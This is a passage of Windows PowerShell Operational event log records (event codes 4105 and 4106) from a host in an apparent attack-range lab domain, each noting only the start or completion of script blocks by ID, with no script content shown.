ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048646
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048645
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048644
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048643
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048642
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048641
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048640
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048639
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048638
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048637
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048636
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048635
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048634
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048633
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048632
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048631
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048630
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048629
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048628
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048627
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048626
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048625
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048624
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048623
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048622
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048621
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048620
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048619
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048618
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048617
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048616
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048615
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048614
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048613
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048612
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048611
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048610
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048609
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048608
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048607
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048606
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048605
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048604
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048603
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048602
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048601
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048600
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048599
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048598
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048597
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048596
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048595
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2048594
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2048593
Keywords=None
